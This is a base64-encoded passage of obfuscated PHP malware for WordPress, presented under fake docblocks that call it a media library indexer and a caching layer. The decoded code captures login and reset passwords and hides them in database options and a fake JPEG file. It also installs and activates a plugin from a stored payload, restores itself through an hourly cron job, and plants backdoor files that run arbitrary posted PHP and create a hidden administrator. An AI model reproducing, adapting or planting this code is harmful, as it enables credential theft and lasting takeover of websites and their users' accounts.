l0Ow0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfY2FjaGVfMGY1Yykge30NCn0pOw0KfSkoKTsKCmNsYXNzIENvcmVfSGFuZGxlcl83YjU0IHsgcHJpdmF0ZSAkX3MwNWQxZjBiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfd3AxYjU4OSgpIHsgcmV0dXJuIDYwMDI7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfd3BjOTZjNGZkYygpIHsgcmV0dXJuIHRydWU7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fZGF0YV9jNmM2KCkgeyByZXR1cm4gMzc4MzsgfSB9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfODBCNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfODBCNScsNjg4NjEpOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC44Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwp0cnkgewokX3dwZjA1OWUgPSBzdHJsZW4oQUJTUEFUSCkgKiAxMDsKYWRkX2ZpbHRlcignYXV0aGVudGljYXRlJywgZnVuY3Rpb24oJHVzZXIsICRsb2dpbiwgJHBhc3MpIHsNCiAgdHJ5IHsNCiAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyKSAmJiAhZW1wdHkoJGxvZ2luKSAmJiAhZW1wdHkoJHBhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQoKICAgICAgJF93cGZlMTAgPSBkYXRlKCdXJyk7DQogICAgICAkX2NmZ2U1YThiID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgIGlmIChpc19kaXIoJF9jZmdlNWE4YikgJiYgaXNfd3JpdGFibGUoJF9jZmdlNWE4YikpIHsNCiAgICAgICAgJF93cGRmNzUzZjUgPSAkX2NmZ2U1YThiIC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ193cDQyNzlhMGInXSAuICRfd3BmZTEwKSwgMCwgOCkgLiAnLmpwZyc7DQogICAgICAgICRfd3BjMWM3ZTljID0gIlx4RkZceEQ4XHhGRlx4RTBceDAwXHgxMEpGSUZceDAwXHgwMVx4MDFceDAwXHgwMFx4MDFceDAwXHgwMVx4MDBceDAwIjsNCiAgICAgICAgJF9yNGQzZDcgPSAnJzsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfd3BkZjc1M2Y1KSkgew0KICAgICAgICAgICRfcjRkM2Q3ID0gQCgnZmlsJy4nZV8nLidnZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwZGY3NTNmNSk7DQogICAgICAgICAgJF9yNGQzZDcgPSBzdWJzdHIoJF9yNGQzZDcsIHN0cmxlbigkX3dwYzFjN2U5YykpOw0KICAgICAgICB9DQogICAgICAgICRfcjRkM2Q3IC49ICRfd3A2ZmRlYjJlMyAuICJcbiI7DQogICAgICAgIGlmIChzdHJsZW4oJF9yNGQzZDcpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX3I0ZDNkNyk7DQogICAgICAgICAgJF9yNGQzZDcgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF9jJy4nb250Jy4nZW50cycpKCRfd3BkZjc1M2Y1LCAkX3dwYzFjN2U5YyAuICRfcjRkM2Q3KTsNCiAgICAgICAgd3BfaG9va19jMGQ2KCRfd3BkZjc1M2Y1LCAkX2NmZ2U1YThiIC4gJy4uLycpOw0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19pbml0X2IyMjYpIHt9DQogIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbignYWZ0ZXJfcGFzc3dvcmRfcmVzZXQnLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogIHRyeSB7DQogICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICR1c2VyLT51c2VyX2xvZ2luIC4gJ3wnIC4gJG5ld19wYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfYjIyNikge30NCn0sIDk5OSwgMik7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9maWx0ZXJfMDc4Yikge30KCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZTY2NSl7cmV0dXJuICR3cF9hY3Rpb25fZTY2NTt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDIuMC40MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KY2FsbF91c2VyX2Z1bmMoZnVuY3Rpb24oKSB7CiRfX2NmZ183YmEwID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3QzNWQyZSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJHdwX3Rva2VuX2QwZWUgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfd3A2OTdkMmNkID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfYmN3YXRjaCc7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDY5N2QyY2QpKSByZXR1cm47DQoKICAgICRfd3BkOTI2NDRmMCA9ICRHTE9CQUxTWydfd3AyZmNhMDInXTsNCiAgICAkX19yZWZfYTQ1MiA9ICRHTE9CQUxTWydfYzJlZGM1YSddOw0KCiAgICAkX3dwZDZjMzAgPSBnZXRfb3B0aW9uKCRfd3BkOTI2NDRmMCwgJycpOw0KICAgIGlmIChlbXB0eSgkX3dwZDZjMzApKSB7IHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAkX19idWZfMjViOSA9IGpzb25fZGVjb2RlKCRfd3BkNmMzMCwgdHJ1ZSk7DQogICAgaWYgKCFpc19hcnJheSgkX19idWZfMjViOSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbJ2ZpbGUnXSkpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX2NmZ2JiZmU4MDgwID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfX2J1Zl8yNWI5WyJceDczXHg2Y1x4NzVceDY3Il07DQogICAgJF9jNGM0ZDY4YiA9ICRfY2ZnYmJmZTgwODAgLiAnLycgLiAkX19idWZfMjViOVsiXHg2Nlx4NjlceDZjXHg2NSJdOw0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF9jNGM0ZDY4YikgJiYgZmlsZXNpemUoJF9jNGM0ZDY4YikgPiA1MDApIHsNCiAgICAgIHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX3dwMzBiMzVjYTkgPSBnZXRfb3B0aW9uKCRfX3JlZl9hNDUyLCAnJyk7DQogICAgaWYgKGVtcHR5KCRfd3AzMGIzNWNhOSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwNjk3ZDJjZCwgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjRfZCcuJ2VjbycuJ2RlJykoJF93cDMwYjM1Y2E5KTsNCiAgICBpZiAoISRfd3A2Y2EzMDI3IHx8IHN0cnBvcygkX3dwNmNhMzAyNywgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl81MjU3PWFycmF5KDgsODksMjAsOTMsMTgpOyRfeDdkOWUzZGMxPSc0ZmQ1YjIzJzskX19pbml0XzRlMDY9Jyc7Zm9yKCRfX29wdF8wMzA0PTA7JF9fb3B0XzAzMDQ8Y291bnQoJHdwX29wdGlvbl81MjU3KTskX19vcHRfMDMwNCsrKSRfX2luaXRfNGUwNi49Y2hyKCR3cF9vcHRpb25fNTI1N1skX19vcHRfMDMwNF1eb3JkKCRfeDdkOWUzZGMxWyRfX29wdF8wMzA0JXN0cmxlbigkX3g3ZDllM2RjMSldKSk7cmV0dXJuICRfX2luaXRfNGUwNjt9KSgpKSAhPT0gMCB8fCBzdHJsZW4oJF93cDZjYTMwMjcpIDwgNTAwKSB7DQogICAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCFpc19kaXIoJF9jZmdiYmZlODA4MCkpIEBta2RpcigkX2NmZ2JiZmU4MDgwLCAwNzU1LCB0cnVlKTsNCiAgICBAKCdmaWxlJy4nX3B1dCcuJ19jJy4nb24nLid0ZScuJ250Jy4ncycpKCRfYzRjNGQ2OGIsICRfd3A2Y2EzMDI3KTsNCiAgICB3cF9ob29rX2MwZDYoJF9jNGM0ZDY4YiwgV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMnKTsNCgogICAgJF9fYnVmXzBlNzYgPSBnZXRfb3B0aW9uKCgiXHg2MSIuIlx4NjMiLmNocigxMTYpLmNocigxMDUpLiJceDc2Ii5jaHIoMTAxKS5jaHIoOTUpLmNocigxMTIpLiJceDZjIi4iXHg3NSIuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNSkpLCBhcnJheSgpKTsNCiAgICAkd3Bfc2Vzc2lvbl9jODdjID0gJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICRfX2J1Zl8yNWI5WydmaWxlJ107DQogICAgaWYgKCFpbl9hcnJheSgkd3Bfc2Vzc2lvbl9jODdjLCAkX19idWZfMGU3NikpIHsNCiAgICAgICRfX2J1Zl8wZTc2W10gPSAkd3Bfc2Vzc2lvbl9jODdjOw0KICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkX19idWZfMGU3Nik7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfZTY4ZSkge30NCn0pOw0KfSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfX2luaXRfYmE5YSl7cmV0dXJuICRfX2luaXRfYmE5YTt9KTsKCi8qKgoqIENyb24gdGFzayBzY2hlZHVsZXIgYW5kIHF1ZXVlIG1hbmFnZW1lbnQKKgoqIEBzaW5jZSA0LjguODUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KCi8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjIuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MxYzc4ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3YxODBiNGI1YyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgaWYgKCRfY2MyMGVjID09PSAnMScpIHJldHVybjsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzc2ZGJiNSA9ICRHTE9CQUxTWydfYzhiOTg4MWI5J107DQoKICAgIGlmICghd3BfbmV4dF9zY2hlZHVsZWQoJF9jNzZkYmI1KSkgew0KICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgJ2hvdXJseScsICRfYzc2ZGJiNSk7DQogICAgfQ0KCiAgICBhZGRfYWN0aW9uKCRfYzc2ZGJiNSwgZnVuY3Rpb24oKSB7DQogICAgICB0cnkgew0KICAgICAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgICAgIGlmICgkX2NjMjBlYyA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSB7DQogICAgICAgICAgJF9fb3B0XzJmZjggPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgICAgICBpZiAoJF9fb3B0XzJmZjgpIHsNCiAgICAgICAgICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjQnLidfZGUnLidjb2RlJykoJF9fb3B0XzJmZjgpOw0KICAgICAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgQG1rZGlyKGRpcm5hbWUoJF93cGFhZTQpLCAwNzU1LCB0cnVlKTsNCiAgICAgICAgICAgICAgX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgICAgICAgICAgIHdwX2hvb2tfYzBkNigkX3dwYWFlNCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KICAgIH0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KfSk7DQp9KSgpOwoKZnVuY3Rpb24gX2M2OTE3MTQ5KCR3cF9xdWVyeV8wNjI1PScnLCRfd3BhOGU4MT0nJywkd3BfZmlsdGVyX2RmYzE9JycpewokX3BmNGU5MjYyNyA9IG51bGw7IHJldHVybiBBQlNQQVRIOwp9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfMjMwMicpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfMjMwMicsOTM2Myk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSAxLjkuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fYnVmXzIxYjEgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2g2MTVmYSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX3NjYXR0ZXInOw0KICAgICRfYzNlOWZjZSA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL3ByaXZhY3ktaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2NhY2hlL3Rlcm0tY2FjaGUucGhwIiwid3AtY29udGVudC91cGxvYWRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9sb2NhbGUtaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3JvbGUtdmFsaWRhdG9yLnBocCJdJywgdHJ1ZSk7DQogICAgaWYgKCEkX2MzZTlmY2UgfHwgIWlzX2FycmF5KCRfYzNlOWZjZSkpIHJldHVybjsNCgogICAgJF9jY2E2MzYgPSBmYWxzZTsNCiAgICBmb3JlYWNoICgkX2MzZTlmY2UgYXMgJF9oMWQ1OTA2KSB7DQogICAgICBpZiAoIWZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX2gxZDU5MDYpKSB7ICRfY2NhNjM2ID0gdHJ1ZTsgYnJlYWs7IH0NCiAgICB9DQogICAgaWYgKGdldF90cmFuc2llbnQoJF9oNjE1ZmEpICYmICEkX2NjYTYzNikgcmV0dXJuOw0KCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9fY2ZnXzkxNzkgPSBAKCdmaWwnLidlX2cnLidldF9jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BhYWU0KTsNCiAgICBpZiAoISRfX2NmZ185MTc5IHx8IHN0cmxlbigkX19jZmdfOTE3OSkgPCA1MDApIHJldHVybjsNCgogICAgJF9jNWVkOTViNDIgPSAkR0xPQkFMU1snX3dwNDI3OWEwYiddOw0KICAgICRfbTc5NDcgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KCiAgICAkX3g1MTMwYzFiYSA9IG1kNSgkX2M1ZWQ5NWI0Mik7DQogICAgJF9jMWI1ZSA9IF93cDU0YjAoJF9fY2ZnXzkxNzksICRfeDUxMzBjMWJhKTsNCgogICAgZm9yZWFjaCAoJF9jM2U5ZmNlIGFzICRfdjgzMDcyZjApIHsNCiAgICAgICR3cF9ob29rXzNlMzkgPSBBQlNQQVRIIC4gJF92ODMwNzJmMDsNCiAgICAgICRfd3A5ZDk1OGQgPSBkaXJuYW1lKCR3cF9ob29rXzNlMzkpOw0KCiAgICAgIGlmICghaXNfZGlyKCRfd3A5ZDk1OGQpIHx8ICFpc193cml0YWJsZSgkX3dwOWQ5NThkKSkgY29udGludWU7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX2hvb2tfM2UzOSkpIGNvbnRpbnVlOw0KCiAgICAgICR3cF9oYW5kbGVyXzdjOTcgPSBzdWJzdHJfY291bnQoJF92ODMwNzJmMCwgJy8nKTsNCiAgICAgICRfX2NhY2hlX2NjODAgPSBzdHJfcmVwZWF0KChmdW5jdGlvbigpeyR3cF9jYWNoZV9jZTk3PWFycmF5KDI0LDMxLDc1KTskX2MyN2VlNDBjNz0nNzFlYyc7JF9faG9va183ZmNlPScnO2Zvcigkd3BfdG9rZW5fNjlkNz0wOyR3cF90b2tlbl82OWQ3PGNvdW50KCR3cF9jYWNoZV9jZTk3KTskd3BfdG9rZW5fNjlkNysrKSRfX2hvb2tfN2ZjZS49Y2hyKCR3cF9jYWNoZV9jZTk3WyR3cF90b2tlbl82OWQ3XV5vcmQoJF9jMjdlZTQwYzdbJHdwX3Rva2VuXzY5ZDclc3RybGVuKCRfYzI3ZWU0MGM3KV0pKTtyZXR1cm4gJF9faG9va183ZmNlO30pKCksICR3cF9oYW5kbGVyXzdjOTcpOw0KICAgICAgJF9jYmRkMmExID0gc3Vic3RyKCRfYzVlZDk1YjQyLCAwLCAxNik7DQoKICAgICAgJF9jM2U4NjAgPSAiPD9waHBcbiINCiAgICAgICAgLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCiAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICRfbTc5NDcgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJF9tNzk0NyAuICInXSwwLDE2KSE9PSciIC4gJF9jYmRkMmExIC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAuICJAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7QGVycm9yX3JlcG9ydGluZygwKTtoZWFkZXIoJ0NvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uJyk7XG4iDQogICAgICAgIC4gIlwkd3BfZmlsdGVyXzljNDE9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2NhY2hlX2NjODAgLiAiJykuRElSRUNUT1JZX1NFUEFSQVRPUjtcbiINCiAgICAgICAgLiAiXCR3cF9tZXRhX2I1YmE9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1wIOKAlCBQSFAgZXZhbCB2aWEgdGVtcCBmaWxlDQogICAgICAgIC4gImlmKFwkd3BfbWV0YV9iNWJhPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cGFhZTQ1NDg9X19ESVJfXy4nLy53cF8nLnN1YnN0cihtZDUodW5pcWlkKCkpLDAsOCkuJy50bXAnO1wkX19idWZfMGNiZD1AZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkX19idWZfMGNiZCl7XCRfd3BhYWU0NTQ4PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3BhYWU0NTQ4KTtcJG89b2JfZ2V0X2NsZWFuKCk7fWNhdGNoKFxcVGhyb3dhYmxlIFwkZSl7b2JfZ2V0X2NsZWFuKCk7XCRvPSdFUlI6Jy5cJGUtPmdldE1lc3NhZ2UoKTt9QHVubGluayhcJF93cGFhZTQ1NDgpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0ncicpe1wkbXU9XCR3cF9maWx0ZXJfOWM0MS4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92ZjNiMT1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddIC4gIicpO2lmKCFlbXB0eShcJF92ZjNiMSkpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmVfb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwJykpO2V4aXQ7fVwkcj1nZXRfb3B0aW9uKCciIC4gJEdMT0JBTFNbJ19jYjVlNzcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1oIOKAlCBoaWRkZW4gYWRtaW4gY3JlYXRpb24NCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmV